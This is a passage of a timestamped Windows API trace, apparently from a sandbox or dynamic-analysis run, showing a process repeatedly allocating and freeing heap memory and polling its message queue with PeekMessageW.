dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.684] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.684] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.684] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.684] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.685] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0132.685] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.686] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0132.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0132.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0132.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0132.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0132.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0132.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0132.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0132.688] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.688] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0132.689] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0132.689] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0132.690] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0132.690] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0132.691] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.691] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.692] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.692] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.693] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0132.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0132.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0132.693] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0132.694] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0132.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0132.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.694] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.695] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.695] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0132.695] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0132.695] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.695] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.695] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0132.696] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0132.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0132.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.696] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.697] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0132.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0132.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0132.697] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0132.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0132.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0132.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0132.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0132.698] GetLastError () returned 0x0 [0132.698] SetLastError (dwErrCode=0x0) [0132.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0132.699] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0132.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec31e0 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0132.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.700] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.700] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0132.701] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.701] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d00 | out: hHeap=0xe80000) returned 1 [0132.702] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0132.702] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0132.703] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0132.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d00 [0132.703] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 